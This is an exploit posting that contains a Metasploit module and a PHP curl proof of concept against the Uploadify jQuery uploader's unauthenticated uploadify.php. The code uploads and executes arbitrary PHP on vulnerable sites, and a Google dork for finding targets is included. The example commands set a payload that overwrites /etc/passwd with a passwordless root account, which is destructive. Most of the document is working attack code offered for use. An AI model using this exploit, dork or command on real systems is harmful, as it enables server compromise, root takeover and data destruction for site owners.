Uploadify jQuery Generic File Upload

                                                ###
# Title : Uploadify jQuery Generic File Upload (Metasploit)
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com .net .org
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
# Platform/CatID : php - remote - metasploit
# Type : php - proof of concept - remote
# Tested on : Linux Back|Track 5rc2 , Linux SUSE v.11
# Download : [http://www.uploadify.com]
###

#####
## * [ Description ] :=>
#  This module exploits an arbitrary File Upload and Code Execution flaw Uploadify script
# (jQuery Multiple File Upload), the vulnerability allows for arbitrary file upload
#  and remote code execution POST Data to Vulnerable (uploadify.php) in any CMS/SCRIPT use Uploadify.
## * [ Some references ] :=>
# http://1337day.com/related/18686
# http://1337day.com/related/19980
## * [ Google Dork ] :=>
# allinurl:/uploadify/uploadify.php | allinurl:/js/uploadify/
## * [ the Basic Proof of Concept ] :=>
# <?php
# $uploadfile="k3d.php";
# $ch = curl_init("http://[HOST]/[Script]/uploadify/uploadify.php?folder=/[path]/");
# curl_setopt($ch, CURLOPT_POST, true);
# curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
# curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# $postResult = curl_exec($ch);
# curl_close($ch);
# print "$postResult";
# ?>
#*** and ->
# k3d.php :
# <?php
# phpinfo();
# ?>
#####

##
# $Id: uploadify_up.rb 2012-12-15 22:05:01 KedAns-Dz $
##
 
require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Uploadify jQuery Generic File Upload',
  'Description' => %q{
  This module exploits an arbitrary File Upload and Code Execution flaw Uploadify script
  (jQuery Multiple File Upload), the vulnerability allows for arbitrary file upload
  and remote code execution POST Data to Vulnerable (uploadify.php) in any CMS/SCRIPT use Uploadify.
  },
    'Author' => [ 'KedAns-Dz <ked-h[at]1337day.com>' ], # MSF Module
    'License' => MSF_LICENSE,
    'Version' => '0.1', # Beta Version Just for Pene-Test/Help !
    'References' => [
    'URL', 'http://1337day.com/related/18686',
    'URL', 'http://1337day.com/related/19980'
   ],
    'Privileged' => false,
    'Payload' =>
        {
         'Compat' => { 'ConnectionType' => 'find', },
        },
    'Platform' => 'php',
    'Arch'     => ARCH_PHP,
    'Targets'  => [[ 'Automatic', { }]],
    'DisclosureDate' => 'Jun 16 2012',
    'DefaultTarget'  => 0))
 
  register_options(
 [
 OptString.new('TARGETURI', [true, "The URI path CMS/Plugin/Module ", "/"]),
 OptString.new('PLUGIN', [true, "The Full URI path to Uploadify (jQuery)", "/"]),
 OptString.new('UDP', [true, "Full Path After Upload", "/"])
####
# Example (1) in WP Plugin :
# set TARGETURI http://127.0.0.1/wp
# set PLUGIN wp-content/plugins/foxypress/uploadify/uploadify.php
# set UDP wp-content/affiliate_images/
# set RHOST 127.0.0.1
# set PAYLOAD php/exec
# set CMD echo "toor::0:0:::/bin/bash">/etc/passwd
# exploit
####
# Example (2) in JOS Module :
# set TARGETURI http://127.0.0.1/jos
# set PLUGIN modules/pm_advancedsearch4/js/uploadify/uploadify.php?folder=/modules/pm_advancedsearch4/
# set UDP modules/pm_advancedsearch4/
# set RHOST 127.0.0.1
# set PAYLOAD php/exec
# set CMD echo "toor::0:0:::/bin/bash">/etc/passwd
# exploit
####

 ], self.class)
end
 
 def check
  uri = datastore['TARGETURI']
  plug = datastore['PLUGIN']
 
  res = send_request_cgi({
   'method' => 'GET',
   'uri' => "#{uri}'/'#{plug}"
})
 
  if res and res.code == 200
  return Exploit::CheckCode::Detected
  else
  return Exploit::CheckCode::Safe
  end
end
 
  def exploit
 
  uri = datastore['TARGETURI']
  plug = datastore['PLUGIN']
  path = datastore['UDP']
 
  peer = "#{rhost}:#{rport}"
 
  post_data = Rex::MIME::Message.new
  post_data.add_part("<?php #{payload.encoded} ?>",
  "application/octet-stream", nil,
  "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
 
  print_status("#{peer} - Sending PHP payload")
 
  res = send_request_cgi({
  'method' => 'POST',
  'uri'    => "#{uri}'/'#{plug}",
  'ctype'  => 'multipart/form-data; boundary=' + post_data.bound,
  'data'   => post_data.to_s
})
 
if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
 print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
 
 print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
 res = send_request_cgi({
 'method' => 'GET',
 'uri'    => "#{uri}'/'#{path}'/'#{$1}.php"
})
 
 if res and res.code != 200
 print_error("#{peer} - Server returned #{res.code.to_s}")
 end
 
 end
 
end

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem
# Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ,
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all
# Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * B.N.T * All Security and Exploits Webs
#============================================================================================================